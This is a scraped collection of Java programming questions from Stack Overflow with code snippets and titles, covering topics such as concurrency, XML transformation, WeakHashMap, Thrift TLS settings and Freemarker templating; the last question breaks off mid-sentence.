studentServiceJpa ; @ POST @ Path ( `` /insert '' ) public Student insert ( Student student ) { //student.getDateRegistration ( ) is null ! It 's a problem ! Student studentResponse = null ; try { this.studentServiceJpa.insert ( student ) ; studentResponse = student ; } catch ( Exception exception ) { } return studentResponse ; } }",Android REST POST loses Date value +Java,"With Java 9 there was a change in the way javax.xml.transform.Transformer with OutputKeys.INDENT handles CDATA tags . In short , in Java 8 a tag named 'test ' containing some character data would result in : < test > < ! [ CDATA [ data ] ] > < /test > But with Java 9 the same results in < test > < ! [ CDATA [ data ] ] > < /test > Which is not the same XML . See http : //java9.wtf/xml-transformer/ for more information.I understood that for Java 9 there was a workaround using a DocumentBuilderFactory with setIgnoringElementContentWhitespace=true but this no longer works for Java 11.Does anyone know a way to deal with this in Java 11 ? I 'm either looking for a way to prevent the extra newlines ( but still be able to format my XML ) , or be able to ignore them when parsing the XML ( preferably using SAX ) .Unfortunately I do n't know what the CDATA tag will actually contain in my application . It might begin or end with white space or newlines so I ca n't just strip them when reading the XML or actually setting the value in the resulting object.Sample program to demonstrate the issue : EDIT : For future reference , I 've submitted a bug report to Oracle , and this is fixed in Java 14 : https : //bugs.java.com/bugdatabase/view_bug.do ? bug_id=JDK-8223291","public static void main ( String [ ] args ) throws TransformerException , ParserConfigurationException , IOException , SAXException { String data = `` data '' ; StreamSource source = new StreamSource ( new StringReader ( `` < foo > < bar > < ! [ CDATA [ `` + data + `` ] ] > < /bar > < /foo > '' ) ) ; StreamResult result = new StreamResult ( new StringWriter ( ) ) ; Transformer tform = TransformerFactory.newInstance ( ) .newTransformer ( ) ; tform.setOutputProperty ( OutputKeys.INDENT , `` yes '' ) ; tform.transform ( source , result ) ; String xml = result.getWriter ( ) .toString ( ) ; System.out.println ( xml ) ; // I expect bar and CDATA to be on same line . This is true for Java 8 , false for Java 11 Document document = DocumentBuilderFactory.newInstance ( ) .newDocumentBuilder ( ) .parse ( new InputSource ( new StringReader ( xml ) ) ) ; String resultData = document.getElementsByTagName ( `` bar '' ) .item ( 0 ) .getTextContent ( ) ; System.out.println ( data.equals ( resultData ) ) ; // True for Java 8 , false for Java 11 }",Handling change in newlines by XML transformation for CDATA from Java 8 to Java 11 +Java,For the following program I am trying to figure out why using 2 different streams parallelizes the task and using the same stream and calling join/get on the Completable future makes them take longer time equivalent to as if they were sequentially processed ) .Output,"public class HelloConcurrency { private static Integer sleepTask ( int number ) { System.out.println ( String.format ( `` Task with sleep time % d '' , number ) ) ; try { TimeUnit.SECONDS.sleep ( number ) ; } catch ( InterruptedException e ) { e.printStackTrace ( ) ; return -1 ; } return number ; } public static void main ( String [ ] args ) { List < Integer > sleepTimes = Arrays.asList ( 1,2,3,4,5,6 ) ; System.out.println ( `` WITH SEPARATE STREAMS FOR FUTURE AND JOIN '' ) ; ExecutorService executorService = Executors.newFixedThreadPool ( 6 ) ; long start = System.currentTimeMillis ( ) ; List < CompletableFuture < Integer > > futures = sleepTimes.stream ( ) .map ( sleepTime - > CompletableFuture.supplyAsync ( ( ) - > sleepTask ( sleepTime ) , executorService ) .exceptionally ( ex - > { ex.printStackTrace ( ) ; return -1 ; } ) ) .collect ( Collectors.toList ( ) ) ; executorService.shutdown ( ) ; List < Integer > result = futures.stream ( ) .map ( CompletableFuture : :join ) .collect ( Collectors.toList ( ) ) ; long finish = System.currentTimeMillis ( ) ; long timeElapsed = ( finish - start ) /1000 ; System.out.println ( String.format ( `` done in % d seconds . `` , timeElapsed ) ) ; System.out.println ( result ) ; System.out.println ( `` WITH SAME STREAM FOR FUTURE AND JOIN '' ) ; ExecutorService executorService2 = Executors.newFixedThreadPool ( 6 ) ; start = System.currentTimeMillis ( ) ; List < Integer > results = sleepTimes.stream ( ) .map ( sleepTime - > CompletableFuture.supplyAsync ( ( ) - > sleepTask ( sleepTime ) , executorService2 ) .exceptionally ( ex - > { ex.printStackTrace ( ) ; return -1 ; } ) ) .map ( CompletableFuture : :join ) .collect ( Collectors.toList ( ) ) ; executorService2.shutdown ( ) ; finish = System.currentTimeMillis ( ) ; timeElapsed = ( finish - start ) /1000 ; System.out.println ( String.format ( `` done in % d seconds . `` , timeElapsed ) ) ; System.out.println ( results ) ; } } WITH SEPARATE STREAMS FOR FUTURE AND JOINTask with sleep time 6Task with sleep time 5Task with sleep time 1Task with sleep time 3Task with sleep time 2Task with sleep time 4done in 6 seconds . [ 1 , 2 , 3 , 4 , 5 , 6 ] WITH SAME STREAM FOR FUTURE AND JOINTask with sleep time 1Task with sleep time 2Task with sleep time 3Task with sleep time 4Task with sleep time 5Task with sleep time 6done in 21 seconds . [ 1 , 2 , 3 , 4 , 5 , 6 ]",Why is CompletableFuture join/get faster in separate streams than using one stream +Java,"Using Guava 's ClassPath I am trying to initialize classes located in a specific package , but I want to use the constructor to initialize as that does n't propagate exceptions . So this is what I worked out to get constructors : However , this gives an error in InteliJ just simply stating Cyclic interface . I think I know what a Cyclic interface is , but I 'm not sure why this would cause that error . As far as I know as long as the return type is known ( which for orElseThrow it has a return value in this case as Constructor < ? > ) then throwing an unchecked exception should be fine . If I use orElse ( null ) then the error goes away . What 's going on here and how may I throw the RuntimeException I want to throw ?",ClassPath.from ( classLoader ) .getTopLevelClasses ( `` test.package '' ) .stream ( ) .map ( ClassPath.ClassInfo : :load ) .map ( Class : :getConstructors ) .map ( Arrays : :stream ) .map ( constructorStream - > constructorStream .filter ( constructor - > constructor.getParameterCount ( ) == 0 ) .findAny ( ) .orElseThrow ( RuntimeException : :new ) ) ;,Cyclic Interface Error when using orElseThrow +Java,"I 've tried with the sdk 1.6.0 , and with 1.6.1 ( just out ) with the same results . I would like to ask if it 's normal to have a 55 minutes wait time before the upload script asks me for email and password and starts the actual upload , which took 3-4 additional minutes ( the first time and few seconds the second time with 1.6.1 ) .Here is my command line , I 'm using Linux Ubuntu and Java 1.6.0_23 OpenJDKUPDATE : As for the comments , it seems is not a common problem , so I 'm investigating with different tests , and will share the results in a few days.UPDATE 2 : A hand assembled project ( JARs manually put in WEB-INF/lib ) was uploaded in matter of seconds . However , the following Spring Roo project caused the problem ( repeatable for me ) . My setup : Linux Ubuntu 11.10 , OpenJDK 1.6.0_23 , Google App Engine SDK 1.6.1 , Maven 3.0.3 , Spring Roo 1.1.5 - Here is how I create and upload the project.If anybody tries it , please confirm if you 've the same problem ( or not ! ) .",~/bin/appengine-java-sdk-1.6.1/bin/appcfg.sh update Task-0.1.BUILD-SNAPSHOT/ $ mkdir task $ cd task $ rooroo > project -- topLevelPackage task -- java 6roo > persistence setup -- provider DATANUCLEUS -- database GOOGLE_APP_ENGINE \ -- applicationId < yourAppId > roo > entity -- class task.Taskroo > field string -- fieldName description -- notNull -- sizeMin 3 -- sizeMax 512roo > field boolean -- fieldName completed -- notNull roo > controller all -- package task.controllerroo > exit $ mvn package $ cd target $ ~/bin/appengine-java-sdk-1.6.1/bin/appcfg.sh update task-0.1.0.BUILD-SNAPSHOT,55 minutes to publish a simple project to google app engine from the command line +Java,Key object in WeakHashMap became weakly reachable . And map should be remove the entry after GC . But a strong reference to the value object remains . Why ? The same behavior is observed with guava weakkeys map.Expected output : But I get output : Code : UPD : I tried perform GC in jСonsole and jcmd but output was not changed .,"... refKey.get = nullrefValue.get = null map.keys = [ ] map.values = [ ] map.size = 0refKey.get = nullrefValue.get = ( 123 ) import java.lang.ref.WeakReference ; import java.util.Map ; import java.util.WeakHashMap ; import com.google.common.collect.MapMaker ; public class Test { static class Number { final int number ; public Number ( int number ) { this.number = number ; } public String toString ( ) { return `` ( `` + number + `` ) '' ; } } static class Key extends Number { public Key ( int number ) { super ( number ) ; } } static class Value extends Number { public Value ( int number ) { super ( number ) ; } } public static void main ( String args [ ] ) { //Map < Key , Value > map = new MapMaker ( ) .weakKeys ( ) .makeMap ( ) ; Map < Key , Value > map = new WeakHashMap < > ( ) ; Key key = new Key ( 1 ) ; Value value = new Value ( 123 ) ; map.put ( key , value ) ; WeakReference < Key > refKey = new WeakReference < > ( key ) ; WeakReference < Value > refValue = new WeakReference < > ( value ) ; key = null ; value = null ; System.gc ( ) ; System.out.println ( `` map.keys = `` + map.keySet ( ) ) ; System.out.println ( `` map.values = `` + map.values ( ) ) ; System.out.println ( `` map.size = `` + map.size ( ) ) ; System.out.println ( `` refKey.get = `` + refKey.get ( ) ) ; System.out.println ( `` refValue.get = `` + refValue.get ( ) ) ; } }",Why WeakHashMap holds strong reference to value after GC ? +Java,"I am was having fun messing around by converting Integer to Float , Float to Long , Long to Int then I got confused by this behavior below . When I convert a String s representing Long.MAX_VALUE ( 63 1s ) I got a NumberFormatException which was expected . because Long is 64 bits and Integer is 32 bits so there are extra 31 1s . ( This is my guess maybe is another reason please correct me if I am wrong ) However I am not sure why I did not get a NumberFormatException when converting Long to Float . Long again is 64 bits and Float is 32 bits just like Integer . I know bits are interpreted differently as Float ( IEEE 754 floating-point `` single format '' bit layout ) but what happened to all the other extra 31 bits ? I am really lost here ... .furthermore how do I get 9.223372E18 which is 1011111000000000000000000000000 bit string ? where are those 0s from ?",public static void main ( String [ ] args ) { String s = String.valueOf ( Long.MAX_VALUE ) ; print ( s ) ; //prints 9223372036854775807 print ( Long.toBinaryString ( Long.MAX_VALUE ) ) ; //prints 111111111111111111111111111111111111111111111111111111111111111 //Integer.valueOf ( s ) this throws NumberFormatException because Long is 64 bits and Integer is 32 so s is too large to be an Integer print ( Float.valueOf ( s ) ) ; //prints 9.223372E18 Why no NumberFormatException ? and how did it result 9.223372E18 ? float f = Float.valueOf ( s ) ; int intBits = Float.floatToIntBits ( f ) ; print ( Integer.toBinaryString ( intBits ) ) ; //1011111000000000000000000000000 How come ? s was a String of 1s now there are 0s ? } public static < T > void print ( T arg ) { System.out.println ( arg ) ; },Convert Long.MAX_VALUE to Float +Java,"Have a look at this ( arguably stupid ) code : I know that the compiler removes generic information , so I 'm interested in Java 1.4 code equivalent to what the compiler does ( I 'm pretty sure the compiler does n't rearrange the source code , so I am asking for an equivalent Java source version which naive people like myself can understand ) Is is something like this : Or rather like this : Or even like this : Or yet another version ?",public < T extends Appendable & Closeable > void doStuff ( T object ) throws IOException { object.append ( `` hey there '' ) ; object.close ( ) ; } public void doStuff ( Object object ) throws IOException { ( ( Appendable ) object ) .append ( `` hey there '' ) ; ( ( Closeable ) object ) .close ( ) ; } public void doStuff ( Object object ) throws IOException { Appendable appendable = ( Appendable ) object ; Closeable closeable = ( Closeable ) object ; appendable.append ( `` hey there '' ) ; closeable.close ( ) ; } public void doStuff ( Appendable appendable ) throws IOException { Closeable closeable = ( Closeable ) appendable ; appendable.append ( `` hey there '' ) ; closeable.close ( ) ; },What does the Java Compiler do with multiple generic bounds ? +Java,Why is the result equal to 5 ?,int result = 5 ; result = result -- ; System.out.println ( result ) ;,Decrement in Java +Java,"I have a fatal error log without a core-dump and need to identify the cause . This is the stack found in the .log file : { ... } As I have read in another StackOverflow answers , this can be a common error while replacing any .jar that the jvm needs to load ( or a hardware memory error ) .What I 'm trying to guess is the .jar file that caused this fatal error . Is there any way to identify the line number in my source code with the information in the fatal error log ? I was hoping that this `` V+72 '' at the end of the line has something to do , but ca n't figure out .","# Problematic frame : # C [ libc.so.6+0x7b4bb ] memcpy+0x15b Stack : [ 0x00002ac8c4d2c000,0x00002ac8c4e2d000 ] , sp=0x00002ac8c4e28ef8 , free space=1011kNative frames : ( J=compiled Java code , j=interpreted , Vv=VM code , C=native code ) C [ libc.so.6+0x7b4bb ] memcpy+0x15bC [ libzip.so+0x50b0 ] ZIP_GetEntry+0xd0C [ libzip.so+0x3eed ] Java_java_util_zip_ZipFile_getEntry+0xadJ 28 java.util.zip.ZipFile.getEntry ( J [ BZ ) J ( 0 bytes ) @ 0x00002ac8acf404ee [ 0x00002ac8acf40420+0xce ] Java frames : ( J=compiled Java code , j=interpreted , Vv=VM code ) J 28 java.util.zip.ZipFile.getEntry ( J [ BZ ) J ( 0 bytes ) @ 0x00002ac8acf40478 [ 0x00002ac8acf40420+0x58 ] J 33 C2 java.util.zip.ZipFile.getEntry ( Ljava/lang/String ; ) Ljava/util/zip/ZipEntry ; ( 86 bytes ) @ 0x00002ac8acf45548 [ 0x00002ac8acf45480+0xc8 ] J 58 C2 java.util.jar.JarFile.getJarEntry ( Ljava/lang/String ; ) Ljava/util/jar/JarEntry ; ( 9 bytes ) @ 0x00002ac8acf4e828 [ 0x00002ac8acf4e7e0+0x48 ] J 44 C2 sun.misc.URLClassPath $ JarLoader.getResource ( Ljava/lang/String ; Z ) Lsun/misc/Resource ; ( 91 bytes ) @ 0x00002ac8acf47168 [ 0x00002ac8acf47100+0x68 ] J 34 C2 sun.misc.URLClassPath.getResource ( Ljava/lang/String ; Z ) Lsun/misc/Resource ; ( 74 bytes ) @ 0x00002ac8acf41f70 [ 0x00002ac8acf41f00+0x70 ] j java.net.URLClassLoader $ 1.run ( ) Ljava/lang/Class ; +26j java.net.URLClassLoader $ 1.run ( ) Ljava/lang/Object ; +1v ~StubRoutines : :call_stubj java.security.AccessController.doPrivileged ( Ljava/security/PrivilegedExceptionAction ; Ljava/security/AccessControlContext ; ) Ljava/lang/Object ; +0j java.net.URLClassLoader.findClass ( Ljava/lang/String ; ) Ljava/lang/Class ; +13j java.lang.ClassLoader.loadClass ( Ljava/lang/String ; Z ) Ljava/lang/Class ; +70j sun.misc.Launcher $ AppClassLoader.loadClass ( Ljava/lang/String ; Z ) Ljava/lang/Class ; +36j java.lang.ClassLoader.loadClass ( Ljava/lang/String ; ) Ljava/lang/Class ; +3v ~StubRoutines : :call_stubj com.smackdapp.SmackHandler.handleRequest ( Ljava/lang/String ; Lorg/eclipse/jetty/server/Request ; Ljavax/servlet/http/HttpServletRequest ; Ljavax/servlet/http/HttpServletResponse ; ) V+72",Guess method line number from JVM fatal error log +Java,I 'm new to Java but not to programming ( I normally code in Ruby ) . One thing I 've seen in Java code examples is the use of < > instead of ( ) to pass params to an object . Below is a code example ( taken from a Google Web Toolkit tutorial ) : Does it have to do with casting or is it something else ? Can someone explain to me what this signifies or is used for ? Thanks !,"public void onValueChange ( ValueChangeEvent < String > event ) { String token = event.getValue ( ) ; // depending on the value of the token , do whatever you need ... }",What does Object < String > signify in Java ? +Java,"This piece of code works fine : -But this throws null-pointer exception , while Eclipse warning that there is need for auto-unboxing : -Why is that so , can somebody guide please ?",Integer nullInt = null ; if ( 1 < = 3 ) { Integer secondNull = nullInt ; } else { Integer secondNull = -1 ; } System.out.println ( `` done '' ) ; Integer nullInt = null ; Integer secondNull = 1 < = 3 ? nullInt : -1 ; System.out.println ( `` done '' ) ;,Auto-unboxing need of ternary if-else +Java,when i use this library : I get this error in gradle : I ca n't fix it.There is a solution to be there library Ignored 'com.android.support : support-v4:26.0.2 ' from 'co.ronash.android : pushe-base:1.4.0 ' ? Because I have already compiled a newer version of support-v4 library.All my dependencies code in gradle :,"compile 'co.ronash.android : pushe-base:1.4.0 ' Failed to resolve : com.android.support : support-v4:26.0.2 dependencies { compile fileTree ( include : [ '*.jar ' ] , dir : 'libs ' ) androidTestCompile ( 'com.android.support.test.espresso : espresso-core:2.2.2 ' , { exclude group : 'com.android.support ' , module : 'support-annotations ' } ) compile 'com.android.support.constraint : constraint-layout:1.0.0-alpha7'compile 'com.android.support : appcompat-v7:26.0.0-alpha1'compile 'com.android.support : support-v4:26.+ ' // -- > its ok and no problemcompile 'uk.co.chrisjenx : calligraphy:2.2.0'compile 'co.ronash.android : pushe-base:1.4.0 ' // -- - > this code is error Failed to resolve : com.android.support : support-v4:26.0.2compile 'com.google.android.gms : play-services-gcm:11.0.4'compile 'com.google.android.gms : play-services-location:11.0.4'testCompile 'junit : junit:4.12 ' }",Failed to resolve : com.android.support : support-v4:26.0.2 +Java,I used this code . I am confused why this int array is not converted to an object vararg argument : I expected the output : but it gives :,"class MyClass { static void print ( Object ... obj ) { System.out.println ( `` Object… : `` + obj [ 0 ] ) ; } public static void main ( String [ ] args ) { int [ ] array = new int [ ] { 9 , 1 , 1 } ; print ( array ) ; System.out.println ( array instanceof Object ) ; } } Object… : 9true Object… : [ I @ 140e19dtrue",Why is this int array not passed as an object vararg array ? +Java,"I have been trying to learn as much as possible about Android development with specific focus on performance since many apps in the Play store today are sluggish . I have found/been directed to many articles/videos.One specific article about image caching is at : http : //android-developers.blogspot.com/2010/07/multithreading-for-performance.htmlThe author has code available at : http : //code.google.com/p/android-imagedownloader/source/browse/trunk/src/com/example/android/imagedownloader/ImageDownloader.javaWhich Google seemed to take a version of into and put into their sample classes at : http : //developer.android.com/resources/samples/XmlAdapters/src/com/example/android/xmladapters/ImageDownloader.htmlIn general it is solid , except for what I think is a flaw in the caching . It uses a soft / hard cache that puts / gets things into the hard cache because the Android system resets the soft cache quite often.Looking at the code though , one starts to wonder if the hard cache would get accidentally reset every time the parent class is instantiated.First the soft cache : Now take a look at the hard cache : The hard cache is not static , while the soft cache is static . So the hard cache instance and therefore items get cleared with the life of the instance of the class.The reason I think this is true is that I noticed my application with a ListView/ImageView , was downloading the image every time and never caching it . It was all done asynchronously , but still hitting the net every time . I verified this by putting a Log.d ( ) statement inside my method that hits the web and seeing when/how often it was called.Adding the static keyword fixed the issue and my application is much more performant . I am not sure why this is the case as there is only one instance of the ImageDownloader class in my adapter as shown in the example : THE QUESTIONWith all of that said , has anyone else experienced this ? ? ? Or am I a combination of crazy/wrong somehow . I am no Java/Android/JVM/Dalvik/WeakReference/SoftReference expert , but something seems a bit off . I do n't know why sHardBitmapCache was not made static , but when I made the change my application stopped hitting the web so much ( saving on data costs / battery drainage / performance improvements ) .","// Soft cache for bitmaps kicked out of hard cache private final static ConcurrentHashMap < String , SoftReference < Bitmap > > sSoftBitmapCache = new ConcurrentHashMap < String , SoftReference < Bitmap > > ( HARD_CACHE_CAPACITY / 2 ) ; // Hard cache , with a fixed maximum capacity and a life duration private final HashMap < String , Bitmap > sHardBitmapCache = new LinkedHashMap < String , Bitmap > ( HARD_CACHE_CAPACITY / 2 , 0.75f , true ) { @ Override protected boolean removeEldestEntry ( LinkedHashMap.Entry < String , Bitmap > eldest ) { if ( size ( ) > HARD_CACHE_CAPACITY ) { // Entries push-out of hard reference cache are transferred to soft reference cache sSoftBitmapCache.put ( eldest.getKey ( ) , new SoftReference < Bitmap > ( eldest.getValue ( ) ) ) ; return true ; } else return false ; } } ; private final ImageDownloader imageDownloader = new ImageDownloader ( ) ;",Possible BUG in Android ImageDownloader class : sHardBitmapCache NOT static when it should be ? +Java,Suppose I have a method that checks for a id in the db and if the id does n't exit then inserts a value with that id . How do I know if this is thread safe and how do I ensure that its thread safe . Are there any general rules that I can use to ensure that it does n't contain race conditions and is generally thread safe .,"public TestEntity save ( TestEntity entity ) { if ( entity.getId ( ) == null ) { entity.setId ( UUID.randomUUID ( ) .toString ( ) ) ; } Map < String , TestEntity > map = dbConnection.getMap ( DB_NAME ) ; map.put ( entity.getId ( ) , entity ) ; return map.get ( entity.getId ( ) ) ; }",How to know if a method is thread safe +Java,"Initial data is in Dataset < Row > and I am trying to write to pipe delimited file and I want each non empty cell and non null values to be placed in quotes . Empty or null values should not contain quotesExpected output : Current Output : If I change the `` quoteAll '' to `` true '' , output I am getting is : Spark version is 2.3 and java version is java 8","result.coalesce ( 1 ) .write ( ) .option ( `` delimiter '' , `` | '' ) .option ( `` header '' , `` true '' ) .option ( `` nullValue '' , `` '' ) .option ( `` quoteAll '' , `` false '' ) .csv ( Location ) ; `` London '' || '' UK '' '' Delhi '' | '' India '' '' Moscow '' | '' Russia '' London||UKDelhi|IndiaMoscow|Russia `` London '' | '' '' | '' UK '' '' Delhi '' | '' India '' '' Moscow '' | '' Russia ''",Writing CSV file using Spark and java - handling empty values and quotes +Java,I 'm trying to understand new functions of java8 : forEach and lambda expressions.Trying to rewrite this function : using lambda.I think it should be something like this but ca n't make it right :,"public < T extends Object > T copyValues ( Class < T > type , T source , T result ) throws IllegalAccessException { for ( Field field : getListOfFields ( type ) ) { field.set ( result , field.get ( source ) ) ; } return result ; } ( ) - > { return getListOfFields ( type ) .forEach ( ( Field field ) - > { field.set ( result , field.get ( source ) ) ; } ) ; } ;",Java8 : how to copy values of selected fields from one object to other using lambda expression +Java,"In order to secure my Thrift server against the recently discovered SSLv3 vulnerability , I explicitly stated which protocols should be enabled for the server socket : However , even though a check using the TestSSLServer lists only TLSv1.1 and TLSv1.2 , I 'm still able to connect with OpenSSL using SSLv3 : How can I entirely disable SSLv3 on Thrift , so it fails during the SSL handshake already ?","TServerSocket socket = TSSLTransportFactory.getServerSocket ( ... ) ; SSLServerSocket sslServerSocket = ( SSLServerSocket ) socket.getServerSocket ; sslServerSocket.setEnabledProtocols ( new String [ ] { `` TLSv1.1 '' , `` TLSv1.2 '' } ) ; openssl s_client -connect localhost:1111 -ssl3",Securing a Thrift server aginst the POODLE SSL vulnerability +Java,"With Android 5 , Google supports multiple activities in the recents screen for a single application.I managed to implement multiple activities in the recents screen with this official doc.How can I change the title of the activity ? Switching to recents screen always shows my app name as title . changes the title on the toolbar , but I want it to change in the recents screen , just like Google does in Google Chrome App . I need to change the title programatically .",Activity.setTitle ( `` title '' ) ;,Change Title/Label of an Activity in Android 5 recents screen +Java,"I have a queston regarding double-checked locking . Consider this example : As I have understood , the above code is the correct way to make a Singleton class.However , NetBeans wants me to remove the outer if statement , so it would look like this : The only differece between these two snippets is that in the second example , the code will always get into the synchronized block and in the first it will not . Why would I listen to NetBeans and remove the outer if statement ? It should be better avoid the locking .",public class Singleton { private static volatile Singleton instance = null ; public static Singleton getInstance ( ) { if ( instance == null ) { synchronized ( Singleton.class ) { if ( instance == null ) { instance = new Singleton ( ) ; } } } return instance ; } } public class Singleton { private static volatile Singleton instance = null ; public static Singleton getInstance ( ) { synchronized ( Singleton.class ) { if ( instance == null ) { instance = new Singleton ( ) ; } } return instance ; } },"Double-checked locking , NetBeans confuses me ?" +Java,"I 'm looking for a Map implementation that iterates over the key-value pairs in the order in which they were added . For exampleWill always printI 'm using Java 5.0.Thanks , Don","Map orderedMap = // instantiation omitted for obvious reasons : ) orderMap.put ( 4 , `` d '' ) ; orderMap.put ( 10 , `` y '' ) ; orderMap.put ( 2 , `` b '' ) ; for ( Map.Entry entry : orderedMap.entrySet ( ) ) { System.out.println ( entry.getKey ( ) + `` , `` + entry.getValue ( ) ) ; } 4 , d10 , y2 , b",ordered map implementation +Java,"NoteBy saying that a memory access can ( or can not ) be reordered I meand that it can bereordered either by the compiler when emitting byte code byte or by the JIT when emitting machine code or by the CPU when executing out of order ( eventually requiring barriers to prevent this ) with respect to any other memory access.If often read that accesses to volatile variables can not be reordered due to the Happens-Before relationship ( HBR ) . I found that an HBR exists between every two consecutive ( in program order ) actions ofa given thread and yet they can be reordered.Also a volatile access HB only with accesses on the same variable/field.What I thinks makes the volatile not reorderable is this A write to a volatile field ( §8.3.1.4 ) happens-before every subsequent read [ of any thread ] of that field.If there are others threads a reordering of the variables will becomes visible as in thissimple exampleSo is not the HBR itself that prevent the ordering but the fact that volatile extends this relationship with other threads , the presence of other threads is the element that prevent reordering.If the compiler could prove that a reordering of a volatile variable would not change theprogram semantic it could reorder it even if there is an HBR.If a volatile variable is never accessed by other threads than its accessescould be reorderedI think c=3 could very well be reordered before a=1 , this quote from the specsconfirm this It should be noted that the presence of a happens-before relationship between two actions does not necessarily imply that they have to take place in that order in an implementation . If the reordering produces results consistent with a legal execution , it is not illegal.So I made these simple java programsIn both cases both fields are marked as volatile and accessed with putstatic.Since these are all the information the JIT has1 , the machine code would be identical , thus the vtest1 accesses will not be optimized2.My questionAre volatile accesses really never reordered by specification or they could be3 , but this is never done in practice ? If volatile accesses can never be reordered , what parts of the specs say so ? and would this means that all volatile accesses are executed and seen in program order by the CPUs ? 1Or the JIT can known that a field will never be accessed by other thread ? If yes , how ? .2Memory barriers will be present for example.3For example if no other threads are involved .","volatile int a , b ; Thread 1 Thread 2a = 1 ; while ( b ! = 2 ) ; b = 2 ; print ( a ) ; //a must be 1 volatile int a , b , c ; Thread 1 Thread 2a = 1 ; while ( b ! = 2 ) ; b = 2 ; print ( a ) ; //a must be 1c = 3 ; //c never accessed by Thread 2 public class vtest1 { public static volatile int DO_ACTION , CHOOSE_ACTION ; public static void main ( String [ ] args ) { CHOOSE_ACTION = 34 ; DO_ACTION = 1 ; } } public class vtest2 { public static volatile int DO_ACTION , CHOOSE_ACTION ; public static void main ( String [ ] args ) { ( new Thread ( ) { public void run ( ) { while ( DO_ACTION ! = 1 ) ; System.out.println ( CHOOSE_ACTION ) ; } } ) .start ( ) ; CHOOSE_ACTION = 34 ; DO_ACTION = 1 ; } }",Is it true that java volatile accesses can not be reordered ? +Java,"When I use the FlurryAgent on a 2.3.4 device I get the following exception : In my code I made sure everything that is UI related is done on the UI thread.I 've tried disabling Flurry 's exception capture via FlurryAgent.setCaptureUncaughtExceptions ( false ) but that did not help.I find it hard to understand if Flurry is causing this exception or just reporting it , I tend to believe the former as when I comment out all Flurry calls , there is no exception/crash whatsoever.I use the latest Flurry SDK - 3.2.1Any ideas ?",E/AndroidRuntime : FATAL EXCEPTION : FlurryAgent android.view.ViewRoot $ CalledFromWrongThreadException : Only the original thread that created a view hierarchy can touch its views .,Flurry Agent causing a CalledFromWrongThreadException exception on Android 2.3.4 +Java,"Java does n't allow overriding of static methodsbut , is not overriding done here ?",class stat13 { static void show ( ) { System.out.println ( `` Static in base '' ) ; } public static void main ( String [ ] ar ) { new next ( ) .show ( ) ; } } class next extends stat13 { static void show ( ) { System.out.println ( `` Static in derived '' ) ; } },Static methods and their overriding +Java,"I 'm trying to print output and an error message to the console.but sometimes the sequence of output changes , first it prints the error message & then it prints the simple message can anybody help me understand why is it happening as such ? the sequence of output changes most of the time . There is no consistency in the printed output . I 'm using eclipse IDE & the output I get is as follows.I have tried to print the following code , the expected result is this : simple messageerror messagebut the actual result is this : error messagesimple message",System.out.println ( `` simple message '' ) ; System.err.println ( `` error message '' ) ;,Print output and an error message to the console +Java,I have a List < Student > and String firstName= '' George '' . I want to extract Student object from List matching with `` George '' without iterating list . Is it possible ? May be if some method override required or anything to make it work.Please help me thanks .,"public Class Student { private String firstName ; private String lastName ; private String class ; // getter , setter methods goes here ... . }",Fetch Student object from List < Student > with matching name without iterating ( Java ) +Java,"I am using Google Maps API v2 for Android , And I have used Marker class to add a marker to the map fragment like this : but on the map it shows an empty title.any ideas ?","map.addMarker ( new MarkerOptions ( ) .position ( new LatLng ( 23.599114 , 39.203938 ) ) .title ( `` عربي '' ) ) ;",Android Google Map marker title in Arabic showing blank +Java,"Here is our use case . We are loading freemarker syntax from the database and processing it . We are processing close to a million of records . Things are working fine . But when I profile the application , I see that my freemarker processing method is the bottleneck and it is taking most time . Having read the freemarker documentation , I got some pointers on what my issue would be . Everytime I am doing processing , I am creating new freemarker.template.Template object ( creation of which seems expensive ) . I could not find what would be the right/more efficient way of doing this.Have a look the process method which is called every time Freemarker needs to be parsed . In this method we are creating new Template object everytime . Is there a way to avoid this ?","public FTLTemplateEngine ( ) { cfg = new Configuration ( ) ; } public String process ( String template , Map < String , Object > input ) throws IOException , TemplateException { String rc = null ; final Writer out = new StringWriter ( ) ; try { final Template temp =new Template ( `` TemporaryTemplate '' , new StringReader ( template ) , cfg ) ; temp.process ( input , out ) ; } catch ( InvalidReferenceException e ) { log.error ( `` Unable to process FTL - `` + template ) ; throw new InvalidReferenceException ( `` FTL expression has evaluated to null or it refers to something that does n't exist . - `` + template , Environment.getCurrentEnvironment ( ) ) ; } catch ( TemplateException e ) { log.error ( `` Unable to process FTL - `` + template ) ; throw new TemplateException ( `` Unable to process FTL - `` + template , e , Environment.getCurrentEnvironment ( ) ) ; } catch ( IOException e ) { log.error ( `` Unable to process FTL - `` + template ) ; throw new IOException ( `` Unable to process FTL - `` + template ) ; } rc = out.toString ( ) ; out.close ( ) ; return rc.trim ( ) ; }",What is the most efficient method to process a String Freemarker syntax in Java +Java,"Is there any reason for not converting the following codeto this : I know the 2nd one catches all kinds of Exceptions , and I do n't mind that . And let 's say I want to handle all exceptions in the same way . Is the performance difference considerable ?",try { // Do something } catch ( XException e ) { e.printStackTrace ( ) ; } catch ( YException e ) { e.printStackTrace ( ) ; } catch ( ZException e ) { e.printStackTrace ( ) ; } try { // Do something } catch ( Exception e ) { e.printStackTrace ( ) ; },Java : Exception Handling +Java,In java we can box and then widen . Why cant we widen and box ? For ex : Compiler error,class WidenAndBox { static void go ( Long x ) { } public static void main ( String [ ] args ) { byte b=5 ; go ( b ) ; } },In java why not widen then box ? +Java,Is there any reason why certain display names are displayed in English despite the locales not being in English ( ie : not translated ) .For example : Locale : `` ru '' is not translatedLocale : `` es '' is translatedIs this intentional ? Or has Java not gotten around to translating it ? Or am I doing something incorrectly ? I tried to locate the files where these translations are stored but could n't find them . If someone could point me to that resource as well that would be helpful.Thanks .,Locale locale = new Locale ( `` ru '' ) ; Currency curr = Currency.getInstance ( `` USD '' ) ; System.out.println ( curr.getDisplayName ( locale ) ) ; // US Dollar Locale locale = new Locale ( `` es '' ) ; Currency curr = Currency.getInstance ( `` USD '' ) ; System.out.println ( curr.getDisplayName ( locale ) ) ; // dólar estadounidense,Java currency display name internationalization +Java,How can I make my object mapper work in situation when there is another object mapper defined in jar from dependencies ? I 'm trying to use Swagger with Jersey 2 which is being run under Jetty . The problem is that as soon as I add Swagger JAX-RX jar into classpath my object mapper is not discovered therefore I lose custom serialization of my objects.Here is how my object mapper definedI 've posted issue to Swagger 's maintainers where you could read details.After hours of debugging in internals of Jersey I found that Swagger 's own object mapper com.wordnik.swagger.jaxrs.json.JacksonJsonProvider calls super.setMapper ( commonMapper ) that sets non-null value to ProviderBase._mapperConfig._mapper . Later when http request handler attempts to serialize instance of my class call ends up in ProviderBase.locateMapper which has following 